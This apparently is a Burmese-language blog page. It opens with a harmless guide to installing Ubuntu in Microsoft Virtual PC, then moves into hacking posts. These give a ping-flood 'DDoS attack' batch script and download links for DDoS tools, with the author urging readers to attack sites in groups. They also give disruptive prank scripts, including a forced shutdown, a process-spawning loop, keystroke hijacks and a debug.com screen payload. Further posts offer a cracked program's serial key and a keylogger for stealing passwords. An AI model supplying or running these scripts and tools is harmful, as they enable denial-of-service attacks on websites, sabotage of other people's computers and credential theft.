Popular Posts

picture widgetspicture widgetspicture widgetspicture widgetspicture widgetspicture widgets

Ubuntu Linux ကုိ ဘယ္လုိ Install လုပ္ၿပီး run မလဲ

Windows ေပၚမွာ Ubuntu Linux ကုိ ဘယ္လုိ Install လုပ္ၿပီး run မလဲ
by ကိုလင္း-သလႅာ၀တီပို႕မွ ကူးယူေဖာ္ျပသည္....




တျခား hard drive တစ္ခု ထပ္မထည့္ဘဲ၊ ဒါမွမဟုတ္ ႐ွိတဲ့ hard drive ကုိ Partition ထပ္မပုိင္းဘဲ၊ dual boot မလုပ္ဘဲ Ubuntu Linux ကုိ စမ္းၾကည့္ခ်င္ပါသလား။ ဒီလမ္းညႊန္ခ်က္ အဆင့္ဆင့္ကေန Windows ေပၚမွာ Virtual Machine အျဖစ္နဲ႕ Ubuntu Linux ကုိ ဘယ္လုိ run ႏုိင္မလဲ ဆုိတာေျပာျပပါမယ္။

Virtual Machine သုံးတာရဲ႕ အဓိကအက်ိဳးေက်းဇူးကေတာ့ Linux community က free ေပးတဲ့ Ubuntu Linux ရဲ႕ ေဆာ့ဖ္၀ဲ library ႀကီးတစ္ခုလုံးကုိ Windows နဲ႕တၿပိဳင္တည္း အသုံးျပဳႏုိင္တာပဲျဖစ္ပါတယ္။ ေနာက္ Windows user တစ္ေယာက္ျဖစ္ခဲ့ရင္ Ubuntu နဲ႕ကြဲျပားျခားနားခ်က္ေတြ၊ လုပ္ေဆာင္ႏုိင္စြမ္းေတြကုိ ခ်က္ခ်င္းႏႈိင္းယွဥ္ ေလ့လာၾကည့္ ႏုိင္ပါတယ္။

မွတ္သားရမယ့္ အခ်က္တစ္ခုကေတာ့ Virtual Machine ေပၚမွာ run တဲ့ “guest” Operating System က ဘယ္ေလာက္ျမန္ျမန္ “host” (primary) OS ကုိမမီႏုိင္ပါဘူး။ Virtual Machine ေပၚမွာ ဟာ့ဒ္၀ဲေတာ္ေတာ္မ်ားမ်ား က emulate လုပ္ထားတဲ့အတြက္ အသုံးျပဳ တပ္ဆင္ထားတဲ့ တကယ့္ ဟာ့ဒ္၀ဲ device ေတြရဲ႕ feature ေတြအားလုံး မရႏုိင္ပါဘူး။ ဥပမာ - Primary OS Windows ေပၚမွာ စိတ္ႀကိဳက္ ေနာက္ဆုံးေပၚ ဂရပ္ဖစ္ကတ္ တပ္ဆင္ ထားတယ္ ဆုိရင္ ဒီဂရပ္ဖစ္ကတ္အမ်ိဳးအစားရဲ႕ speed နဲ႕ performance က Windows ေပၚမွာသာ ရႏုိင္ပါတယ္။ Virtual Machine ေပၚက “guest” OS မွာေတာ့ ဒီကတ္အမ်ိဳးအစားကုိ Standard default ကတ္တစ္ခုအေနနဲ႕သာ ေတြ႕ျမင္ရၿပီး speed နဲ႕ performance ကလည္း standard ေလာက္သာရမွာ ျဖစ္ပါတယ္။ ဒါေတြက သိပ္ေတာ့ အေရးမႀကီးပါဘူး။ တကယ္အက်ိဳး႐ွိတာက Windows နဲ႕ Ubuntu ကုိတစ္ၿပိဳင္တည္း သုံးႏုိင္တာပဲ ျဖစ္ပါတယ္။

လုိအပ္ခ်က္မ်ား
နည္းလမ္းေတြအမ်ားႀကီး၊ ေ႐ြးခ်ယ္စရာ Virtual Machine ေဆာ့ဖ္၀ဲေတြ အမ်ားႀကီးထဲကမွ အခု ေ႐ြးခ်ယ္မွာေတာ့ Ubuntu Linux ကို မုိက္က႐ုိေဆာ့ဖ္ရဲ႕ Virtual PC 2007 ေပၚတင္မွာ ျဖစ္ပါတယ္။ အခုလုိ OS ႏွစ္မ်ိဳးသုံးခ်င္တယ္ ဆုိရင္ တျခား Virtual Machine   ေဆာ့ဖ္၀ဲေတြ လည္း ဒီအတုိင္းပဲ ျဖစ္ပါတယ္။

လုိအပ္တာေတြကေတာ့
- Windows XP ၊ ဒါမွမဟုတ္ Vista
- လုံေလာက္တဲ့ processor (အနည္းဆုံး 1.5GHz ၊ ဒါမွမဟုတ္ dual core)
- အနည္းဆုံး 1GB ပမာဏ႐ွိတဲ့ RAM
- Microsoft Virtual PC 2007 ( အခမဲ့ရႏုိင္ပါတယ္။) download page မွာေျပာတာက XP Professional edition လုိတယ္လုိ႕ေျပာပါတယ္။ ဒါေပမဲ့ ေတာ္ေတာ္မ်ားက Home edition မွာအလုပ္လုပ္တယ္လုိ႕လည္း သိရပါတယ္။
- ၿပီးေတာ့ Ubuntu ရဲ႕ ေနာက္ဆုံး version လုိပါတယ္။ (ဒီအခ်ိန္မွာ႐ွိတာက 7.10 ပဲထြက္ပါေသးတယ္။) Ubuntu site က ISO ဖုိင္ကို စီဒီေပၚမွာ write လုိက္ပါ။

Microsoft Virtual PC 2007 ေပၚမွာ Ubuntu install လုပ္ပုံအဆင့္ဆင့္
၁။ Windows ထဲမွာ install လုပ္ၿပီးသား Virtual PC ပ႐ုိဂရမ္ ကုိဖြင့္ပါ။ Virtual PC console ပြင့္လာရင္ New ကုိႏွိပ္ပါ။ New Virtual Machine Wizard ေပၚလာပါလိမ့္မယ္။ Next ကုိႏွိပ္လုိက္ပါ။

၂။ New Virtual Machine Option ကုိေ႐ြးၿပီး Next ကုိႏွိပ္ပါ။

၃။ နာမည္ကုိ “Ubuntu Linux” လုိ႕ေမးၿပီး Next ကုိႏွိပ္ပါ။

၄။ OS type မွာ “other” ကုိေ႐ြးၿပီး Next ကုိႏွိပ္ပါ။

၅။ RAM ပမဏကုိအနည္းဆုံး 256MB ထားပါ။ ဒါေပမဲ့ 512MB နဲ႔အထက္ဆိုရင္ ပုိေကာင္းပါတယ္။ Assign လုပ္ထားတဲ့ RAM ပမဏ ပုိမ်ားေလ Ubuntu ကုိျမန္ျမန္ run ႏုိင္ေလ ျဖစ္ပါတယ္။ Virtual Machine ကုိ RAM ေတာ္ေတာ္မ်ားမ်ား assign လုပ္လုိက္ရင္ေတာ့ Host Windows အတြက္ memory နည္းသြားမွာျဖစ္ပါတယ္။ ၿပီးရင္ Next ကုိႏွိပ္ပါ။

၆။ New Virtual disk တစ္ခုလုပ္ဖုိ႕ option ကုိေ႐ြးပါ။ Next ႏွိပ္ပါ။

၇။ Windows ရဲ႕ hard disk မွာ Virtual Machine ဖုိင္ကုိ သိမ္းဖုိ႕အတြက္ေနရာေ႐ြးပါ။ ၿပီးေတာ့ Virtual Machine ရဲ႕ size ကုိ assign လုပ္ပါ။ ဒါဟာ Ubuntu hard drive size ကုိ သတ္မွတ္တာပဲျဖစ္ပါတယ္။ အနည္းဆုံးေတာ့ 10GB ေလာက္ထားပါ။ ၿပီးရင္ Next ႏွိပ္ပါ။

၈။ Summary page မွာ ေ႐ြးခဲ့တာေတြအားလုံးကုိ ျပန္ၾကည့္ႏိုင္ပါတယ္။ ေသခ်ာၿပီဆုိရင္ Finish button ကုိႏွိပ္ၿပီး Virtual Machine တစ္ခုလုပ္ႏုိင္ပါတယ္။ အဲဒီေနာက္ Virtual PC console မွာ “Ubuntu Linux” ဆုိတဲ့ နာမည္နဲ႕ item တစ္ခုေပၚေနပါလိမ့္မယ္။ အဲဒါကုိေ႐ြးၿပီး Setting button ကုိႏွိပ္ကာ အထက္က ေ႐ြးခဲ့တာေတြကုိ မႀကိဳက္ရင္ ျပန္ျပင္ႏုိင္ပါတယ္။

၉။ စီဒီ drive ထဲမွာ Ubuntu စီဒီကုိထည့္ပါ။ Virtual PC console က “Ubuntu Linux” ဆုိတဲ့ display name ကုိ select လုပ္ၿပီး start ကုိႏွိပ္ပါ။

၁၀။ Virtual Machine (VM) ကုိပထမအဆုံးအႀကိမ္အေနနဲ႕ တင္လုိက္ရင္ စီဒီထည့္ထားေပမယ့္ assign လုပ္ထားတဲ့ boot device မ႐ွိတဲ့အတြက္ VM က Network က boot လုပ္ဖုိ႕ ႀကိဳးစားေနပါလိမ့္မယ္။ အဲဒီအခ်ိန္မွာ cursor ကလည္ေနမယ္၊ ဒါမွမဟုတ္ “No boot device found” ဆုိတဲ့ error ကုိေတြ႕ႏုိင္ပါတယ္။

၁၁။ ဒါကုိေျဖ႐ွင္းဖုိ႕အတြက္ VM ကုိ host OS Windows က စီဒီ drive ကုိယူသုံးဖုိ႕ ေျပာပါလိမ့္မယ္။ Virtual PC ရဲ႕ CD menu က “Use Physical Drive D:” (CD drive က E: ျဖစ္ခဲ့ရင္ E:) ကုိေ႐ြးပါ။ ဒီလုိလုပ္တာဟာ Windows ရဲ႕စီဒီ drive ကုိ VM ထဲမွာ ထည့္ေပါင္းၿပီးသား ျဖစ္သြားပါလိမ့္မယ္။

၁၂။ Virtual PC menu ကေန Select Action > Reset ကုိေ႐ြးၿပီး VM ကုိ restart ျပန္ုလုပ္ပါ။

၁၃။ ေနာက္တစ္ႀကိမ္ VM က reboot လုပ္တာနဲ႕ စီဒီက boot လုပ္ၿပီး Ubuntu ရဲ႕ boot menu ကုိျမင္ရပါလိမ့္မယ္။ ဒီေဆာင္းပါးေရးတဲ့ အခ်ိန္က Ubuntu 7.10 ကုိ Virtual PC 2007 လုိမ်ိဳး VM ေဆာ့ဖ္၀ဲတစ္ခုေပၚမွာ တင္လုိက္ရင္ PS2 port driver ေတြက ေကာင္းေကာင္း အလုပ္မလုပ္ေသးတဲ့ bug ႐ွိေနပါတယ္။ အဲဒီအတြက္ Ubuntu forum ကေျပာတဲ့အတုိင္း ေျဖ႐ွင္းၾကည့္ႏုိင္ပါတယ္။
- Ubuntu boot လုပ္တဲ့အခ်ိန္မွာ F6 ကုိႏွိပ္ၿပီး စကရင္ရဲ႕ေအာက္ေျခက boot command string ကုိ ၾကည့္လုိက္ပါ။
- စာသားအဆုံးမွာ “Splash” ကုိျဖဳတ္ၿပီး dash ႏွစ္ခုရဲ႕ေ႐ွ႕မွာ “i8042.noloop” ကုိ႐ုိက္ပါ။
- ၿပီးရင္ Ubuntu ကုိ safe graphic mode ကေန ေ႐ြးလုိက္ပါ။
- စကရင္ဟာ screenshot ဖမ္းထားသလုိမ်ိဳး ျဖစ္ေနပါလိမ့္မယ္။ ဒီအခ်ိန္မွာ Enter ႏွိပ္ Ubuntu ကုိ boot လုပ္လုိက္ပါ။

၁၄။ Ubuntu ရဲ႕စီဒီက boot လုပ္တဲ့ process ဟာနည္းနည္းေတာ့ၾကာပါတယ္။ Blank စကရင္ကုိ မိနစ္အေတာ္ၾကာျမင္ရၿပီဆုိရင္ OK ပါၿပီ။ ေနာက္ဆုံးမွာ Ubuntu ကလုိအပ္တဲ့ start up service ေတြအကုန္ load လုပ္ၿပီး ျဖစ္တဲ့အတြက္ GUI ကုိျမင္ရပါလိမ့္မယ္။ အခုဆုိရင္ Ubuntu ရဲ႕ Live စီဒီနဲ႕ run ေနတာျဖစ္ပါတယ္။

၁၅။ ေမာက္စ္နဲ႕ကီးဘုတ္ေတြက VM နဲ႕ Host Windows ၾကားမွာ share သုံးေနရတာျဖစ္တဲ့အတြက္ VM ထဲမွာ တစ္ခ်က္ click လုပ္လုိက္တာနဲ႕ Host Windows ကေန ေမာက္စ္နဲ႕ကီးဘုတ္ေတြသုံးလုိ႕မရေတာ့ပါဘူး။ Windows မွာ ျပန္သုံးခ်င္ရင္ေတာ့ ညာဘက္ျခမ္းက Alt ကုိႏွိပ္ၿပီး ျပန္ Switch လုပ္ႏုိင္ပါတယ္။

၁၆။ Ubuntu ထဲမွာ႐ွိတဲ့ application ေတြအားလုံး စိတ္ႀကိဳက္သုံးၾကည့္ႏုိင္ပါတယ္။ ဒါေပမဲ့ စီဒီကေန run ေနတဲ့အတြက္ response ကေတာ့ ေတာ္ေတာ္ေႏွးေနဦးမွာ ျဖစ္ပါတယ္။ ဒါေၾကာင့္ VM ထဲမွာ တကယ္ install လုပ္ရေအာင္ Ubuntu က install လုပ္ရတာလြယ္ ပါတယ္။ Desktop ေပၚမွာ႐ွိတဲ့ install icon ကုိ double click ႏိွပ္လုိက္တာနဲ႕ installation စတင္တာပါပဲ။ ခဏေတာ့ေစာင့္ပါ။

၁၇။ ႏွစ္သက္ရာ language ကုိေ႐ြးပါ။ ၿပီးရင္ Forward ကုိ ႏွိပ္ပါ။

၁၈။ Time Zone ကုိေ႐ြးပါ။ Forward ကုိႏွိပ္ပါ။

၁၉။ Keyboard layout ကုိေ႐ြးပါ။ Forward ကုိႏွိပ္ပါ။

၂၀။ Ubuntu ရဲ႕ partitioner က VM မွာ Ubuntu အတြက္ထားခဲ့တဲ့ disk space ပမဏကုိ စစ္ေဆးပါလိမ့္မယ္။ Default အတုိင္းပဲထားၿပီး Ubuntu အတြက္ထားတဲ့ disk space တစ္ခုလုံး သုံးပါမယ္။ ႏွစ္သက္သလုိ ပုိင္းႏုိင္ပါတယ္။ အခု default အတုိင္းထားၿပီး Forward ကုိႏွိပ္ပါ။

၂၁။ User တစ္ခုအတြက္ form ျဖည့္ေပးရပါမယ္။ ထည့္တဲ့ user name နဲ႕ password ကိုမွတ္ထားပါ။ ၿပီးရင္ Forward ကုိႏွိပ္ပါ။

၂၂။ Summary page မွာ ေ႐ြးထားတာေတြကုိ ျပန္ၾကည့္ႏုိင္ပါတယ္။ ၿပီးရင္ install button ကုိႏွိပ္ၿပီး Ubuntu ကုိ install လုပ္ပါ။ အခ်ိန္အနည္းငယ္ၾကာပါလိမ့္မယ္။

၂၃။ Install လုပ္တာ လုံး၀ၿပီးသြားတဲ့အခါ tray ထဲမွာ စီဒီ႐ွိရင္ထုတ္ဖုိ႕ message ေပၚလာပါလိမ့္မယ္။ Virtual PC menu မွ CD>Eject ကုိေ႐ြးၿပိး Ubuntu installation စီဒီကုိ၀ယ္လုိက္ပါ။ ၿပီးရင္ VM ထဲက Ubuntu installation ကုိ restart လုပ္ခုိင္းလုိက္ပါ။

၂၄။ Install လုပ္ၿပီးသား Ubuntu ဟာ ပထမဆုံးစ run မယ္ဆုိရင္ မ run ခင္မွာ ၏အရင္စီဒီ နဲ႕ run တုန္းကလုိပဲ Ubuntu ရဲ႕ Bug ကုိ႐ွင္းတဲ့ command အရင္႐ုိက္သင့္ပါတယ္။ ဒါမွ ေမာက္စ္နဲ႕ကီးဘုတ္ကုိ Windows နဲ႕ Ubuntu ႏွစ္ခုလုံးမွာ သုံးလုိ႕ရမွာ ျဖစ္ပါတယ္။ ဒီလုိလုပ္ဖုိ႕က တစ္ႀကိမ္ပဲလုိပါတယ္။ Config ဆုိတဲ့ Message ကုိ ေတြ႕ရပါလိမ့္မယ္။ Esc ႏိွပ္ၿပီး GRUB configuration ကုိ၀င္လုိက္ပါ။ Esc ႏွိပ္ဖုိ႕ အခ်ိန္မမီလုိက္ရင္ Virtual PC ရဲ႕ Menu မွာ Action > Reset ဆုိၿပီး VM ကုိ boot ျပန္လုပ္ပါ။

၂၅။ GRUB configuration မွာ ပထမဆုံး option ျဖစ္တဲ့ “Ubuntu [version], kernel 2.6.x-x-generic” ဆုိတာကုိေ႐ြးထားတာ ေတြ႕ ရပါလိမ့္မယ္။ “E” ကုိႏွိပ္ပါ။

၂၆။ Kernel option (ဒုတိယ Line မွာ႐ွိပါလိမ့္မယ္) ကုိေ႐ြးၿပီး “E” ကုိႏွိပ္ပါ။

၂၇။ အရင္ကလုိပဲ Line အဆုံးမွာ႐ွိတဲ့ “splash” ကုိ “i8042.noloop” လုိ႕ျပင္ၿပီး Enter ႏွိပ္ကာ changes ကုိ apply လုပ္ပါ။

၂၈။ Kernel option စကရင္ျပန္ေရာက္ရင္ “B” ႏိွပ္ၿပီး Ubuntu ကုိ run လုိက္ပါ။ Ubuntu ထဲကုိ login ၀င္ၿပီးတာနဲ႕ေနာက္တစ္ႀကိမ္ boot လုပ္တုိင္း ထပ္ျပင္စရာမလုိေအာင္ ဘယ္မွာ ဘယ္လုိ အၿပီးသြားေရးထားရမလဲ ဆုိတာ ျပပါမယ္။

၂၉။ Ubuntu log in screem ေပၚမွာ ေပးထားတဲ့ user name နဲ႕ password ကုိထည့္ပါ။

၃၀။ ဒါဆုိ Windows ထဲမွာ Ubuntu ကုိေအာင္ျမင္စြာ run ႏိုင္ပါၿပီ။

၃၁။ အခု Kernel mouse bug ကုိ ဘယ္လုိ အၿပီးျပင္ဆင္ရမလဲဆုိတာ ျပပါမယ္။ ဒီလုိျပင္ၿပီးတာနဲ႕ ေနာက္တစ္ႀကိမ္ဘာမွပူစရာ မလုိေတာ့ ပါဘူး။
- Application > Accessories > Terminal Windows ကုိဖြင့္ပါ။ (ဒါဟာ Windows မွာဆုိရင္ command prompt နဲ႕အတူတူပါပဲ။)
- “sudo gedit/ boot/grub/ menu.lst” ကုိ႐ုိက္ပါ။
- Login password လာေတာင္းရင္ထည့္လုိက္ပါ။
- ပထမျပင္ခဲ့တဲ့ “Kernel line” ကုိ ႐ွာပါ။ Line နံပါတ္ ၁၃၂ ေလာက္မွာ ႐ွိႏိုင္ပါတယ္။ ၿပီးရင္ အရင္အတုိင္း “splash” ကုိ “i8042.noloop”
- ေနာက္အဲဒီ configuration ဖုိင္ကုိ save လုပ္ပါ။

၃၂။ ဒါဆုိရင္ေတာ့ အားလုံးၿပီးဆုံးသြားပါၿပီ။ Windows ေပၚက Ubuntu ကုိေတြ႕ျုမင္ရပါလိမ့္မယ္။
Ubuntu ဟာ Virtual Machine ရဲ႕ေအာက္မွာ run ေနတာကုိေတာ့ သတိျပဳရပါမယ္။ ဒါက ဘာ effect မွထူးထူးျခားျခား ထိခုိက္တာမ်ိဳးေတာ့ မ႐ွိပါဘူး။ ဒါေပမဲ့ Open GL game လုိမ်ိဳးေတာ့ Ubuntu မွာကစားလုိ႕ရမွာ မဟုတ္ပါဘူး။ ေနာက္တစ္ခုက အသံလုံး၀မၾကားရပါဘူး။ VM ေပၚမွာ run တဲ့ အခ်က္ေၾကာင့္ပါပဲ။

ဒါပါပဲ။ Ubuntu ကုိတကယ္ႀကိဳက္သြားၿပီး ဆုိရင္ေတာ့ primary OS အျဖစ္သုံးခ်င္လာပါလိမ့္မယ္။

source;Forum (Mryotesoe)
>>>ဆက္ဖတ္ရန္>>> >>

ဓာတ္ပံုေဘာင္ေတြ လုပ္မယ္


Photo: ဒီsoftwareကေတာ့ ဓါတ္ပံုေတြကို အလွေဘာင္ေတြ အသံုးျပဳျပီး အလွဆင္ခ်င္တဲ႔သူေတြ အတြက္ အသံုး၀င္တဲ႔ ေစာ့၀ဲပဲ ျဖစ္ပါတယ္....ဓါတ္ပံုကို မိမိစိတ္ၾကိဳက္ အလင္းအေမွာင္ေတြကိုပါ ညွိေပးႏိုင္တဲ႔ အျပင္ clip object ေတြကိုပါ ျဖည္႔စြက္အလွဆင္ႏိုင္ပါတယ္....

အသံုးျပဳႏိုင္မွဳ အေသးစိတ္ကိုေတာ့ မူရင္းWebsite မွာလည္း သြားေရာက္ဖတ္ရွဳႏိုင္ပါ တယ္...စိတ္ၾကိဳက္အသံုးျပဳႏိုင္ေအာင္ Serial Key ပါ ထည္႔သြင္းေပးထားပါတယ္... စိတ္၀င္စားတယ္ဆိုရင္ေတာ့ ေအာက္မွာယူႏိုင္ပါတယ္....

minus၌ Downloadရန္
http://minus.com/lo7KB76tzvDRw

mediafire၌ Downloadရန္
http://www.mediafire.com/?ibvvnbi86bsyy13

>>>ဆက္ဖတ္ရန္>>> >>

အေျခခံ DDOS Attack basic ေလးပါ


Photo: အေျခခံေလးDDOS Attack basic ျဖစ္ပါတယ္..

အေျခခံေလး ျဖစ္ပါတယ္..
NOtepad ဖြင့္လုိက္ဗ်ာ...
ေအာက္ကကုဒ္ေတြကိုကူးျပီးေတာ့ ddosattack.bat ဆုိျပီး save လုိက္ပါ..



@echo off
color 12
title Pinger v1.0
:OK
cls
echo.
echo.
set /p t=Target I.P.:
echo.
echo Valid range 1-65500
echo.
set /p a=Ddos attack:
echo.
:start
set ifer=
set /p ifer=Start Ping (y/n):
if %ifer%==y goto 8
if %ifer%==Y goto 8
if %ifer%==n goto OK
if %ifer%==N goto OK
:8
echo.
echo.
echo.
echo.
ping %t% -t -l %a%

target ip မွာ ကို ေကြ်းခ်င္တဲ့ အုိင္ပီထည့္ဗ်ာ..(မန္းမန္းေကြ်းလုိက္) ျမန္မာဆုိဒ္ေတြကိုေတာ့မေကြ်းနဲ ့ေပ့ါဗ်ာ...
ျမန္မာအခ်ငး္ခ်ငး္ စည္းလုံးမွူ၇ွိပါေစ..

က်ေနာ္ ဒီနည္းပညာကို ဘေလာခ္တစ္ခုကေန ကူးယူသိမ္းထာတာပါ အဲဒီဆိုဒ္ကို လိုက္၇ွာေနတာ မမွတ္မိဘူးျဖစ္ေနတယ္ သိတာနဲ႕ မူ၇င္းဆိုဒ္ပါတင္ေပးမယ္ အဲဒီမွာ ဟက္ကာ နည္းပညာေတြေတာ္ေတာ္ မ်ားပါတယ္...

>>>ဆက္ဖတ္ရန္>>> >>

DDOS attack tools


Photo: အခု DDOS attack tools ေလးက အလုပ္တကယ္ျဖစ္တယ္ဗ်...
မယုံရင္ ဆုိဒ္တစ္ခုကို 1 နာရီေလာက္ တုိက္ၾကည့္ဗ်ာ.. ေလးလာတာေတြ ့ရမယ္...

mediafire၌ Download ရန္
http://www.mediafire.com/?gerk7k71kmtm0oo

minus ၌ Download ရန္
http://minus.com/lbkCk2TivLlspC

ကုလာဆိုဒ္ေတြကို အုပ္စုဖြဲ႕ၿပီးေတာ့ တိုတ္ၾက... ထပ္တင္ေပးမယ္..
DDOS attackလုပ္တာ အုပ္စုနဲ႕ လုပ္တာပိုေကာင္းတယ္..
>>>ဆက္ဖတ္ရန္>>> >>

ေပ်ာ္စရာေလး လုပ္ကစားမယ္

ကယ္သူငယ္ခ်င္းတို႕ ေပ်ာ္စရာေလးတစ္ခုလုပ္ၾကမယ္

ကိုလင္း-သလႅာ၀တီ ပို႕မွ ကူးယူေဖာ္ျပသည္ ...
ပထမဦးဆံုး Notepad ကိုဖြင့္လိုက္ျပီး ေအာက္မွာ ေဖာ္ျပထာတဲ့ ကုတ္ေတြကို Copy and Paste လုပ္ပါ

Dim msg, sapi
msg=InputBox("Enter your text for conversion–www.youth-it-technican.blogspot.com/","youth-it-technicanText-To-A
udio Converter")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

ျပီးရင္ကိုယ္စိတ္ၾကိဳက္နာမည္နဲ႕Save.. ( .vbs) ဖိုင္နဲ႕ေဆ့
ဥပမာ= kolin.vbs အဲသလိုေပါ့

အိုေက Save.ျပီးရင္ မိမိေဆ့ထားတဲ့ program ေလးကိုဖြင့္ Text Box ေလး မွာ သူငယ္ခ်င္းတို႕ စိတ္ၾကိဳက္စာေတြရိုက္ထည့္ ၿပီးတာနဲ႕ok ႏိွပ္လိုက္ ရင္ရျပီ။

ဟိဟိ ျမန္မာေတာ့မရဘူးေနာ္..သူ႕က English ပဲရမယ္။
မွတ္ခ်က္==မည့္သည့္အႏၱရာယ္မွမရွိပါ။

သူငယ္ခ်င္းေတြ ေပ်ာ္ရႊင္ရီေမာ၍ ဘဝအေမာေတြေျပပါေစဗ်ာ...
>>>ဆက္ဖတ္ရန္>>> >>

program ေလး လုပ္ၾကည့္မလား?


Photo: ေအာက္ကCodeေတြကို notepad ေပၚတင္ပါမေၾကာက္ပါနဲ႕ အေသးစားေလးေတြပါ။ မိမိကိုယ္တိုင္ဖြင့္မွ ပြင့္ႏိုင္မယ့္ program ေလးေတြပါ။

1-သင့္ CD Drive ကိုဆက္တိုက္ပြင့္ေနပါလိမ့္မယ္။ဖြင့္လိုက္ပိတ္လိုက္ေပါ့။
  code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

2Caps Lock ကိုဆက္တိုက္ဖြင့္လိုက္ပိတ္လိုက္လုပ္ေနပါလိမ့္မယ္။
  code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

3ဒါေလးကသင့္ကြန္ျပဴတာကို မက္ေဆ့ ေပးျပီး shutdown က်သြားေစပါတယ္။
code :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ

4-Enter key ကိုဆက္တိုက္ႏွိပ္ေနမွာပါ။
code :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ.

5-CMD နဲ႕ Notepad ေတြရပ္မရေအာင္ဆက္တိုက္ဖြင့္တာေလးပါ။ဒါေလးကနဲနဲေလးဆိုးတယ္။
code:
@echo off
:A
start cmd
start notepad
goto :A

ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ..

6-Backspace တိုက္ပြင့္ေနမွာပါ။သင္စာရိုက္လို႕မရပါ။
code :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

7.သင့္ keyboard ေလးကိုဟက္ျပီး သင္ဟာအရူးဆိုျပီးသင္စာရိုက္တိုင္းေပၚေနမွာပါ။
  code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

8. Notepad ကိုဆက္တိုက္ပြင့္ေနမွာပါ။
  code:

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ


9-Lighting .bat

သင့္ ေမာ္နီတာဟာဘာမွ မျမင္ရပဲ လင္းလက္ေနတဲ့ ဖန္သားျပင္ကိုသာျမင္ရမွာပါ။

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul
del z.dbg

သင္ျပန္ထြက္ခ်င္ရင္ CTRL-ALT-DELETE နဲ႕ျပန္ထြက္လိုက္ပါ။


ေအာက္ကကုတ္ဆိုရင္ အဲဒါနဲ႕မရပါ။ctrl+shirt+esc နဲံ႕ရမယ္။
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul
del z.dbg
goto a


စက္အတြက္ေတာ့မပူနဲ႕ စမ္းမယ္ဆို စမ္းၾကည့္ေပါ့ ဗဟုသုတရပါတယ္..ေပ်ာ္စရာ လည္ေကာင္း တယ္ မရတဲ့အဆံုး Restart ခ်လိုက္ပါ....က်ေနာ္ကေတာ့ စမ္းတယ္ဗ်..စမ္းတာမွ အကုန္စမ္းတာ

>>>ဆက္ဖတ္ရန္>>> >>

ျမန္မာလိုေရးထားတဲ.hacking e book


Photo: ျမန္မာလိုေရးထားတဲ.hacking e book ေလးပါ. ဟက္ကာကို စိတ္ဝင္စာတဲ့ သူငယ္ခ်င္း မိတ္ေဆြမ်ား အတြက္ အလြန္အက်ဳိးျဖစ္ေစမွာပါ ဖတ္ၾကည္.ေစခ်င္ပါတယ္..
ကယ္ေအာက္က အဆင္ေျပမယ့္ လင့္ေတြကေန ယူလိုက္ပါဗ်ာ..

mediafire၌  Download ယူပါ


mediafire၌  Download ယူပါ
http://www.mediafire.com/view/?id6hru2d4aiia5h
>>>ဆက္ဖတ္ရန္>>> >>

Golden Eye Spyware ေရႊေရာင္မ်က္လံုးနဲ႔ Password ခိုးတဲ့သူ


Photo: Golden Eye Spyware  ေရႊေရာင္မ်က္လံုးနဲ႔ Password ခိုးတဲ့သူ


လိုက္လုပ္ခ်င္မွလုပ္ေနာ္....အဆိုးအေကာင္းတာ၀န္မယူပါဗ်ာ.... SO SORRY......THANATAL...
ဂ်ိမ္းဘြန္းရဲ႕ Golden Eye မဟုတ္ပါဘူး။ ကိုယ့္ရဲ႕ အခ်က္အလက္ေတြကို ခိုးယူသြားမယ့္ Golden Eye Spyware အေၾကာင္းပါ။ Internet Cafe' ေတြမွာ အသံုးျပဳတဲ့ User မ်ားအတြက္ သတိထားရမယ့္ Golden Eye Spy ware အေၾကာင္း Post တင္ေပးလိုက္ပါတယ္။  ဒီ Software က Password ခိုးေပးတဲ့ Program ပါ။ ကိုယ္သံုးခဲ့တဲ့ ကြန္ပ်ဴတာမွာ ရိုက္ထားတဲ့စာေတြ မွန္သမွ်နဲ႔ တက္ထားတဲ့ အင္တာနက္ ၀က္ဆိုက္ေတြ မွန္သမွ်ကို လိုက္မွတ္ေပးထားတဲ့ Software ပါ။ Keylogger နဲ႔ တူပါတယ္။ အသံုးျပဳသူေတြ ဗဟုသုတရေအာင္ တင္ျပေပးလိုက္တာပါ။ သူမ်ားကုိ ဒုကၡေပးဖို႔ မဟုတ္ပါဘူး....။
